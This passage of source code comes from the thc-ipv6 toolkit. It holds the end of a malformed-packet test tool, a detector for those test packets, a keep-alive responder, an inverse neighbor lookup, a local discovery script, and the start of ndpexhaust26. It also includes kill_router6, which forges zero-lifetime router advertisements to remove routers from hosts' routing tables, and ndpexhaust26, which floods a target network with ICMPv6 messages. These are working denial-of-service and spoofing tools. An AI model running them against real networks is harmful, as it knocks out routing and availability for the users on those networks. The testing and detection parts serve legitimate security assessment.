tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: too small length field\t\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; i = offset; hdr->pkt[4 + i] = 0; // set ip length to 0 hdr->pkt[5 + i] = 60; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_pkt(interface, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: ping6 with bad checksum\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0x6666); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 100, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: ping6 with zero checksum\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0x6666); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; memset(hdr->pkt + hdr->pkt_len - 150 - 6, 0, 2); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_pkt(interface, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 100, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: ping with hop count 0\t\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, -1, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_pkt(interface, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: fragment missing\t\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, sizeof(bla) > 1400 ? 1400 : sizeof(bla), 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; /* frag stuff */ hdr = (thc_ipv6_hdr *)pkt; i = ((hdr->pkt_len - 40 - offset - 10) / 8) * 8; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 128, 0, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, hdr->pkt_len - 40 - offset - 22)) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); /* lets see if it worked */ pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, fragsize - 200, 0, bla)) tests[count] = 1; } count++; // more needed? /******************* END OF TESTCASES ***************************/ if (noping == 0) { if (check_alive(p, interface, src6, dst6)) printf( "Test %2d: normal ping6 (still alive?)\t\tPASSED - we got a reply\n", count); else printf( "Test %2d: normal ping6 (still alive?)\t\tFAILED - target is " "unavailable now!\n", count); } thc_pcap_close(p); return ret_code; } thc-ipv6-3.8/implementation6d.c000066400000000000000000000127231376121567700164730ustar00rootroot00000000000000/* * Test: * 1. next header = hopbyhop, but no header * 2. next header = hopbyhop, but invalid length in hopbyhop header * 3. next header = hophyhop + no_next, but ip6 length longer than claimed * 4. next header = hophyhop + no_next, but ip6 length shorter than * claimed * 5. 90 extension ignored headers * 6. 65535 byte packet (fragmented) with 3850 extension ignored headers * 7. jumbo packet (fragmented) with 7700 extension ignored headers * 8-10: same as 5-9 but final length larger than real packet * 11. 180 hop-by-bop headers * 12. forwarding header with 255 segements lefts (but only 1 defined) * * * misc: * - toobig6 with mtu = 600 on target * - alive6 with target ff02::1 and router = target * - alive6 with target = target and router = target (1shot frag + * forward) * - rsmurf on target */ #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" int rawmode = 0; int cont = 0; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface\n\n", prg); printf( "Identifies test packets by the implementation6 tool, useful to check " "what\n"); printf("packets passed a firewall\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void check_packet(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr; unsigned char buf[20]; int add = 0, len = header->caplen; if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *)data, header->caplen, "Received Packet"); } if (rawmode == 0) { if (do_hdr_size) { ipv6hdr = (unsigned char *)(data + do_hdr_size); len -= do_hdr_size; if ((ipv6hdr[0] & 240) != 0x60) return; } else { ipv6hdr = (unsigned char *)(data + 14); len -= 14; } } else ipv6hdr = (unsigned char *)data; if (ipv6hdr[0] >> 4 != 6) return; // not an ipv6 packet if (ipv6hdr[6] == NXT_ICMP6 && (ipv6hdr[40] == ICMP6_NEIGHBORSOL || ipv6hdr[40] == ICMP6_NEIGHBORADV || ipv6hdr[40] == ICMP6_PARAMPROB || ipv6hdr[40] == ICMP6_TTLEXEED)) return; if (len >= 136) { if (ipv6hdr[6] == 0 && ipv6hdr[40] == 0 && ipv6hdr[48] == 0) { printf(" Detected (potential) implementation6 test case #%d %s\n", 3, cont == 3 ? "(cont'd)" : ""); cont = 3; return; } buf[0] = ipv6hdr[124]; memset(buf + 1, buf[0], sizeof(buf) - 1); if (memcmp(ipv6hdr + 128, buf, sizeof(buf)) == 0) { printf(" Detected (potential) implementation6 test case #%d %s\n", buf[0], cont == buf[0] ? "(cont'd)" : ""); cont = buf[0]; return; } } if (len >= 46) { switch (ipv6hdr[6]) { case NXT_ICMP6: if (1 == 1) { switch (ipv6hdr[40]) { case ICMP6_PINGREQUEST: if (ipv6hdr[44] == 0x34 && ipv6hdr[45] == 0x56 && ipv6hdr[46] == 0x78 && ipv6hdr[47] == 0x90 && ipv6hdr[52] == 'A') { printf( " Detected (potential) implementation6 standard thc-ipv6 " "ping request%s\n", cont == -1 ? " (cont'd)" : ""); cont = -1; } return; break; case ICMP6_INFOREQUEST: if (ipv6hdr[48] == 20 + add) { printf( " Detected (potential) implementation6 test case #%d\n", 20 + add); cont = 0; } return; break; case ICMP6_INVNEIGHBORSOL: printf(" Detected (potential) implementation6 test case #%d\n", 21 + add); cont = 0; return; break; case ICMP6_CERTPATHSOL: if (ipv6hdr[45] == 23 + add) { printf( " Detected (potential) implementation6 test case #%d\n", 23 + add); cont = 0; } return; break; default: break; } } return; break; case NXT_OPTS: if (ipv6hdr[64] == ICMP6_MOBILE_PREFIXSOL) { if (ipv6hdr[69] == 22 + add) { printf(" Detected (potential) implementation6 test case #%d\n", 22 + add); cont = 0; } return; } break; default: break; } } return; } int main(int argc, char *argv[]) { unsigned char string[64] = "ip6"; char * interface; if (argv[1] != NULL && strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (argc != 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); interface = argv[1]; setvbuf(stdout, NULL, _IONBF, 0); printf( "Waiting for implementation check packets on %s, press Control-C to " "end.\n", interface); if (thc_pcap_function(interface, string, (char *)check_packet, 0, NULL) < 0) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } // never returns return 0; } thc-ipv6-3.8/inject_alive6.c000066400000000000000000000151251376121567700157350ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" extern int thc_socket; extern char *do_hdr; extern int do_hdr_off; int type = 0, passive = 0, active = 0; char *interface; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-ap] interface\n\n", prg); printf( "This tool answers to keep-alive requests on PPPoE and 6in4 tunnels; for " "PPPoE\nit also sends keep-alive requests.\n"); printf( "Note that the appropriate environment variable THC_IPV6_{PPPOE|6IN4} " "must be set\n"); printf("Option -a will actively send alive requests every 15 seconds.\n"); printf("Option -p will not send replies to alive requests.\n"); exit(-1); } void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char * ipv6hdr, *pkt, buf[1500]; int len = header->caplen, pkt_len = 0; unsigned int * seq, offset = 0; unsigned short int *orig, *seen; thc_ipv6_hdr hdr; if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *)data, len, "Received packet on tunnel"); } if (type == 2) { // 6in4 len -= do_hdr_size; ipv6hdr = (unsigned char *)(data + do_hdr_size); if ((ipv6hdr[0] & 240) != 0x60) return; if (len < 48 || ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[41] != 0) return; seq = (unsigned int *)(ipv6hdr + 44); if (ipv6hdr[40] == ICMP6_PINGREQUEST) { printf("Keep-alive ping request ID 0x%x seen\n", htonl(*seq)); if (passive == 0) { if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, ipv6hdr + 24, ipv6hdr + 8, 255, 0, 0, 0, 0)) == NULL) return; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREPLY, 0, htonl(*seq), (unsigned char *)ipv6hdr + 40 + 8, len - 40 - 8, 0) < 0) return; if (thc_generate_and_send_pkt(interface, NULL, NULL, pkt, &pkt_len) < 0) return; pkt = thc_destroy_packet(pkt); printf("Keep-alive ping reply ID 0x%x sent\n", htonl(*seq)); } } if (passive && ipv6hdr[40] == ICMP6_PINGREPLY) printf("Keep-alive ping reply ID 0x%x seen\n", htonl(*seq)); } else { // PPPoE seen = (unsigned short int *)(data + 20 + offset + do_hdr_off); if (len < 40 || len > 1500 || htons(*seen) != 0xc021) return; seen = (unsigned short int *)(data + 16 + offset + do_hdr_off); if (memcmp(data + 16 + offset + do_hdr_off, do_hdr + 16 + offset + do_hdr_off, 2) != 0) { orig = (unsigned short int *)(do_hdr + 16 + offset + do_hdr_off); fprintf(stderr, "Warning: PPPoE SessionID is different to that defined in the " "environment variable! ((specified) %04x != %04x (seen))\n", htons(*orig), htons(*seen)); } if (data[22 + offset + do_hdr_off] == 9) { printf("Keep-alive request ID 0x%04x seen\n", htons(*seen)); if (passive == 0) { memcpy(buf + 12, data + 12, len - 12); memcpy(buf + 6, data, 6); memcpy(buf, data + 6, 6); buf[22 + offset + do_hdr_off] = 10; hdr.pkt = buf; hdr.pkt_len = len; if (thc_send_pkt(interface, (unsigned char *)&hdr, &len) < 0) { fprintf(stderr, "Error: could not send packet to interface %s (%d)\n", interface, thc_socket); exit(-1); } printf("Keep-alive reply ID 0x%04x sent\n", htons(*seen)); } } else { if (passive && data[22 + offset + do_hdr_off] == 10) printf("Keep-alive reply ID 0x%04x seen\n", htons(*seen)); } } return; } int main(int argc, char *argv[]) { char sndbuf[128], data[] = {0x09, 0x0a, 0x00, 0x0c, 0xfa, 0xce, 0xba, 0xbe, 0x1f, 0x1e, 0x1d, 0x1c}; time_t passed = 0; pcap_t * p; thc_ipv6_hdr hdr; int sndbuflen = 0, i; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "adp")) >= 0) { switch (i) { case 'a': active = 1; break; case 'd': debug = 1; break; case 'p': passive = 1; break; default: fprintf(stderr, "Error: invalid option -%c\n", i); exit(-1); } } if (getenv("THC_IPV6_PPPOE") != NULL) type = 1; else if (getenv("THC_IPV6_6IN4") != NULL) type = 2; if (type == 0) { fprintf(stderr, "Error: neither the THC_IPV6_PPPOE nor THC_IPV6_6IN4 environment " "variable is set\n"); exit(-1); } if (type == 2 && active) fprintf(stderr, "Error: active ping6 sending in for THC_IPV6_6IN4 is not possible. " "Please use thcping6 or alive6 to perform the active alive packet " "sending.\n"); interface = argv[optind]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } printf("Started %s keep-alive watcher on %s (Press Control-C to end) ...\n", type == 1 ? "PPPoE" : "6in4", argv[optind]); if (active == 1 && type == 1) { if ((p = thc_pcap_init_promisc( interface, "it does not matter what we put here")) == NULL) { fprintf(stderr, "Error: Could not set interface into promiscious mode\n"); exit(-1); } memcpy(sndbuf, do_hdr, do_hdr_size); sndbuf[18 + do_hdr_off] = 0x00; sndbuf[19 + do_hdr_off] = sizeof(data) + 2; sndbuf[20 + do_hdr_off] = 0xc0; sndbuf[21 + do_hdr_off] = 0x21; memcpy(sndbuf + do_hdr_size, data, sizeof(data)); sndbuflen = do_hdr_size + sizeof(data); hdr.pkt = sndbuf; hdr.pkt_len = sndbuflen; while (1) { thc_pcap_check(p, (char *)intercept, NULL); usleep(100); if (passed <= time(NULL)) { if (thc_send_pkt(interface, (unsigned char *)&hdr, &sndbuflen) < 0) { fprintf(stderr, "Error: could not send packet to interface %s\n", interface); return -1; } passed = time(NULL) + 15; } } } else { thc_pcap_function(interface, "it does not matter what we put here", (char *)intercept, 1, NULL); fprintf(stderr, "Error: Could not set interface into promiscious mode\n"); exit(-1); } return -1; // never reached unless error } thc-ipv6-3.8/inverse_lookup6.c000066400000000000000000000075531376121567700163530ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" int rawmode = 0; unsigned char dmac[6], *mac; int done = 0; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface mac-address\n\n", prg); printf( "Performs an inverse address query, to get the IPv6 addresses that are " "assigned\n"); printf("to a MAC address. Note that only few systems support this yet.\n"); exit(-1); } void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ptr = (unsigned char *)data, *orig_ptr; int len = header->caplen, i, j; if (rawmode == 0) { if (do_hdr_size) { ptr += do_hdr_size; len -= do_hdr_size; if ((ptr[0] & 240) != 0x60) return; } else { ptr += 14; len -= 14; } } orig_ptr = ptr; if (debug) thc_dump_data(ptr, len, "Received Packet"); if (ptr[6] == 0x3a && ptr[40] == ICMP6_INVNEIGHBORADV && len >= 56) { done = 1; j = (len - 56) / 16; if (j <= 0) { printf("Empty Inverse Neighbor Discovery message received by %s for %s\n", thc_ipv62notation((char *)ptr + 8), mac); } else { ptr += 48; len -= 48; while (len > 15) { if (*ptr == 10) { ptr++; j = ((*ptr * 8) - 8) / 16; printf( "Inverse Advertisement Discovery message received by %s for %s " "(%d entries):\n", thc_ipv62notation((char *)orig_ptr + 8), mac, j); if (j >= 1) for (i = 0; i < j; i++) printf(" %s\n", thc_ipv62notation((char *)ptr + 7 + i * 16)); } else ptr++; len -= *ptr * 8 - 1; ptr += *ptr * 8 - 1; } } } } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, buf[24]; unsigned char *dst6 = NULL, *smac, dstmac[16] = "", *dmac = dstmac; int pkt1_len = 0; char * interface, string[64] = "icmp6"; pcap_t * p; memset(buf, 0, sizeof(buf)); if (argc != 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); interface = argv[1]; sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *)&dmac[0], (unsigned int *)&dmac[1], (unsigned int *)&dmac[2], (unsigned int *)&dmac[3], (unsigned int *)&dmac[4], (unsigned int *)&dmac[5]); mac = argv[2]; if ((smac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } dst6 = thc_resolve6("ff02::1"); if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, NULL, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 0x01; buf[1] = 0x01; memcpy(buf + 2, smac, 6); buf[8] = 0x02; buf[9] = 0x01; memcpy(buf + 10, dmac, 6); if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_INVNEIGHBORSOL, 0, 0, (unsigned char *)&buf, 16, 0) < 0) return -1; if (thc_generate_pkt(interface, smac, dmac, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } printf("Sending inverse packet for %s\n", argv[1]); thc_send_pkt(interface, pkt1, &pkt1_len); sleep(1); while (thc_pcap_check(p, (char *)check_packets, NULL)) ; return 0; // never reached } thc-ipv6-3.8/kill_router6.c000066400000000000000000000152451376121567700156370ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" char *frbuf, *frbuf2, *frint, buf3[1504]; int frbuflen, frbuf2len, do_hop = 0, do_frag = 0, do_dst = 0, type = NXT_ICMP6; unsigned char *frip6, *frmac, *frdst; thc_ipv6_hdr * frhdr = NULL; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-HFD] interface router-address [srcmac [dstmac]]\n\n", prg); printf( "Announce that a target a router going down to delete it from the " "routing tables.\n"); printf( "If you supply a '*' as router-address, this tool will sniff the network " "for any\n"); printf("RA packet and immediately send the kill packet.\n"); printf( "Option -H adds hop-by-hop, -F fragmentation header and -D dst " "header.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void send_ra_kill(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *pkt = NULL, *src = (unsigned char *)data + 14 + 8, *srcmac = (unsigned char *)data + 6, *ipv6hdr = (unsigned char *)(data + 14), *target; int pkt_len = 0, cnt, i, len = header->caplen - 14, offset = 14; if (do_hdr_size) { src = (unsigned char *)(data + 8 + do_hdr_size); // srcmac is ignore anyway ipv6hdr = (unsigned char *)(data + do_hdr_size); len = header->caplen - do_hdr_size; if ((ipv6hdr[0] & 240) != 0x60) return; offset = do_hdr_size; } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERADV || len < 40 + 16 || (ipv6hdr[46] == 0 && ipv6hdr[47] == 0)) return; if ((pkt = thc_create_ipv6_extended(frint, PREFER_LINK, &pkt_len, src, frdst, 255, 0, 0, 0xe0, 0)) == NULL) return; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, frbuf2len) < 0) return; } if (do_frag) { type = NXT_FRAG; for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0x40080000, frbuf, frbuflen, 0) < 0) return; if (do_dst) { thc_generate_pkt(frint, srcmac, NULL, pkt, &pkt_len); frhdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(frint, src, frdst, type, frhdr->pkt + 40 + offset, frhdr->pkt_len - 40 - offset, 1240); } else { if (thc_generate_and_send_pkt(frint, srcmac, NULL, pkt, &pkt_len) < 0) return; } target = thc_ipv62notation(src); printf("Sent RA kill packet for %s\n", target); free(target); pkt = thc_destroy_packet(pkt); } int main(int argc, char *argv[]) { char *interface, mac[16] = "", dmac[16] = "", string[] = "ip6 and icmp6 and dst ff02::1"; unsigned char *mac6 = mac, *ip6; unsigned char buf[512], *ptr, buf2[6]; unsigned char *dst = thc_resolve6("ff02::1"); unsigned char *dstmac = dmac; int i, cnt, offset = 14; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; pcap_t * p; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); frdst = dst; while ((i = getopt(argc, argv, "FHDr")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 2) help(argv[0]); frbuf = buf; frbuf2 = buf2; frbuf2len = sizeof(buf2); if (do_hdr_size) offset = do_hdr_size; interface = argv[optind]; frint = argv[optind]; if (argc - optind >= 4 && (ptr = argv[optind + 3]) != NULL) sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *)&dmac[0], (unsigned int *)&dmac[1], (unsigned int *)&dmac[2], (unsigned int *)&dmac[3], (unsigned int *)&dmac[4], (unsigned int *)&dmac[5]); else dstmac = NULL; if (argc - optind >= 3 && (ptr = argv[optind + 2]) != NULL) sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], (unsigned int *)&mac[1], (unsigned int *)&mac[2], (unsigned int *)&mac[3], (unsigned int *)&mac[4], (unsigned int *)&mac[5]); else mac6 = thc_get_own_mac(interface); if (argv[optind + 1][0] == '*' || argv[optind + 1][1] == '*') { ip6 = NULL; } else { ip6 = thc_resolve6(argv[optind + 1]); if (ip6 == NULL) { fprintf(stderr, "Error: target-router address is invalid: %s\n", argv[optind + 1]); exit(-1); } } memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); i = 8; frbuflen = i; if ((p = thc_pcap_init_promisc(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, 6) < 0) return -1; } if (do_frag) { type = NXT_FRAG; for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0x40080000, buf, i, 0) < 0) return -1; if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) return -1; frhdr = (thc_ipv6_hdr *)pkt; printf( "Starting to sending router kill entries for %s (Press Control-C to end) " "...\n", argv[optind + 1]); while (1) { if (ip6 == NULL) { while (thc_pcap_check(p, (char *)send_ra_kill, NULL) > 0) ; } else { if (do_dst) { thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + offset, frhdr->pkt_len - 40 - offset, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); } sleep(3); printf("RA kill packet to %s sent.\n", argv[optind + 1]); } usleep(60); } return 0; } thc-ipv6-3.8/local_discovery6.sh000077500000000000000000000022621376121567700166530ustar00rootroot00000000000000#!/bin/bash LOOP= test "$1" = "-i" && { LOOP=yes ; shift ; } test -z "$1" -o "$1" = "help" && { echo 'Local IPv6 Discovery Script (c) 2020 by van Hauser www.github.com/vanhauser-thc/thc-ipv6' echo echo Syntax: $0 [-i] INTERFACE echo echo The tool will use all local host discovery methods and output it to stdout as well as to the file INTERFACE-YYMMDDHHMMSS.log echo The -i option will loop forever until the script is terminated exit 1 } INT=$1 ifconfig $INT | grep -q inet6 || { echo Error: interface $INT not found or ipv6 not enabled >&2 exit 1 } FILE=${INT}-`date +%Y%m%d%H%M%S`.log trap ' kill -TERM `cat .$FILE.pid` ; rm -f .$FILE.pid ; exit 0 ' 1 2 3 13 15 { passive_discovery6 -s -R 3000:: $INT & PID=$! echo $PID > .$FILE.pid } | tee $FILE & GO=yes while [ "$GO" = yes ] ; do fake_mld6 $INT query alive6 -l $INT dump_router6 $INT fake_router26 -A 3000::/64 -a 2 -l 2 -n 1 -p low $INT ifconfig $INT | grep -iq global && alive6 $INT node_query6 $INT ff02::1 fake_mld26 $INT query test "$LOOP" = yes && sleep 20 test "$LOOP" = yes || GO=no done > /dev/null 2>&1 sleep 5 trap '' 0 1 2 3 13 15 kill -TERM `cat .$FILE.pid` rm -f .$FILE.pid thc-ipv6-3.8/ndpexhaust26.c000066400000000000000000000143431376121567700155470ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-acpPTUrRm] [-s sourceip6] interface target-network\n\n", prg); printf("Options:\n"); printf(" -a add a hop-by-hop header with router alert\n"); printf(" -c do not calculate the checksum to save time\n"); printf(" -p send ICMPv6 Echo Requests\n"); printf(" -P send ICMPv6 Echo Reply\n"); printf(" -T send ICMPv6 Time-to-live-exeeded\n"); printf(" -U send ICMPv6 Unreachable (no route)\n"); printf(" -r randomize the source from your /64 prefix\n"); printf(" -R randomize the source fully\n"); printf(" -m generate a maximum size packet\n"); printf(" -s sourceip6 use this as source IPv6 address\n"); printf("\nFlood the target /64 network with ICMPv6 TooBig error messages.\n"); printf("This tool version is manyfold more effective than ndpexhaust6.\n"); exit(-1); } #define IDS_STRING 0xbebacefa int main(int argc, char *argv[]) { char * interface, *ptr, buf2[8]; unsigned char *dst = NULL, *dstmac = NULL, *src = NULL, *srcmac = NULL; int i, offset = 14, type = ICMP6_TOOBIG, alert = 0, randsrc = 0, do_crc = 1, maxsize = 160; unsigned char *pkt = NULL, ip6[8]; int pkt_len = 0, count = 0; thc_ipv6_hdr * hdr; unsigned int filler = IDS_STRING, mychecksum; unsigned char offender[1452] = { 0x60, 0x00, 0x00, 0x00, 0x01, 0xcd, 0x3a, 0x3f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x20, 0x03, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x80, 0x00, 0xed, 0xc5, 0xfa, 0xce, 0xba, 0xbe, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41}; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); while ((i = getopt(argc, argv, "acpPTUrRs:m")) >= 0) { switch (i) { case 'a': alert = 8; break; case 'c': do_crc = 0; break; case 'm': maxsize = -1; break; case 'p': type = ICMP6_ECHOREQUEST; break; case 'P': type = ICMP6_ECHOREPLY; break; case 'T': type = ICMP6_TTLEXEED; break; 